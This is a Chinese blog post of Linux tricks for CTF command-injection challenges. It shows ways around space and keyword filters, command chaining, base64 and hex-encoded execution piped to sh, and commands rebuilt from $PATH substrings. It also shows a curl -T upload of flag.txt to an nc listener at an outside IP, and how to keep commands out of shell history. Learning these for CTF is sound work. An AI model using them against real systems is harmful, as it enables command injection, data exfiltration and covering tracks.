Linux在CTF中的一些小技巧

CTF中各种花里胡哨的操作还是挺多的,这里参考大佬的文章,做了更详细的总结!

场景一:限制空格

假如需要实现 cat flag.txt 命令读取flag:

1.利用<>重定向符:

image-20191203085145611

2.利用${IFS}变量(内部域分隔符):

image-20191203085327815

3.利用{,}来代替:

image-20191203085410858

4.利用$IFS$9:

image-20191203085455982

场景二:不允许指定命令执行

假如需要执行 uname 命令,但过滤掉了 uname 字符:

1.利用参数拼接(黑名单绕过):

image-20191203085620660

2.利用' " 单、双引号(碰到 escapeshellcmd() 时有效bypass):

image-20191203085659619

单、双引号成对出现不过滤,表示空字符串;

3.利用 ` 小引号,就是Tab上那个引号:

image-20191203085835665

如果一串命令中存在``,会先执行引号内的命令;

这也就是利用DNS传数据的利用点;

image-20191203085954623

4.利用转义符号反斜杠来绕过

image-20191203090216583

场景三:一次执行多条命令

假如需要执行uname和id命令:

1.利用shell脚本结束符; 分号:

image-20191203090345359

2.利用逻辑符号(&,&&,|,||)

image-20191203090538453

3.在Web页面执行时可以利用回车的url编码 %0a 来绕过

image-20191203090709704

类似在shell脚本下放了两条命令

命令编码绕过

base64:

root@Tao:/tmp# printf "whoami" | base64
d2hvYW1p
root@Tao:/tmp# printf "d2hvYW1p" | base64 -d | sh
root

image-20191203091351029

xxd(16进制)

root@Tao:/tmp# printf "whoami" | xxd -p
77686f616d69
root@Tao:/tmp# printf "77686f616d69" | xxd -r -p | sh
root

image-20191203091508479

字符替换

Linux

root@Tao:/tmp# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
root@Tao:/tmp# echo ${PATH:5:1}
l
root@Tao:/tmp# echo ${PATH:2:1}
s
root@Tao:/tmp# echo ${PATH:5:1}${PATH:2:1}
ls
root@Tao:/tmp# ${PATH:5:1}${PATH:2:1}
flag.txt  tao.sh

image-20191203091905836

Linux:${PATH~: a :b} 其中a表示从a位开始,b表示截取的长度; (从0开始!!!)

如果过滤了冒号:

root@Tao:/tmp# echo $(expr substr $PATH 6 1)
l
root@Tao:/tmp# echo $(expr substr $PATH 3 1)
s
root@Tao:/tmp# $(expr substr $PATH 6 1)$(expr substr $PATH 3 1)
flag.txt  tao.sh

image-20191203092308561

Windows:

E:\tmp>echo %PATH%:~13,1
C:\Program Files (x86)\....
E:\tmp>echo %PATH:~14,1%
e

Windows:%PATH:~a,b% (从1开始数)

curl -T 上传文件

首先,windows主机监听端口

E:\tmp>nc.exe -l -v -p 2333

Linux服务器发送文件:

curl -T ./flag.txt http://1.1.1.1:2333

image-20191203093411601

防止命令被记录

在终端执行的每一条命令都会被记录在 history 文件中?

不是的,如果在命令前加个空格,则会不被记录;

并且前后重复的命令不会被记录;

image-20191203093836873

note:

debain系可以,centos系不行;

利用文件名执行命令

*是Linux下的通配符,它会将符合模式的文件列出来,之后执行;

root@Tao:/tmp# ls
root@Tao:/tmp# touch bash
root@Tao:/tmp# echo id >> tao.bash
root@Tao:/tmp# ls
bash  tao.bash
root@Tao:/tmp# *
uid=0(root) gid=0(root) 缁�=0(root)

image-20191203094014805

参考文章: https://ai-sewell.me/2017/Some-tricks-of-Linux-in-CTF/

本文链接:

https://www.betao.cn/archives/ctf-linuxjq.html
1 + 2 =
快来做第一个评论的人吧~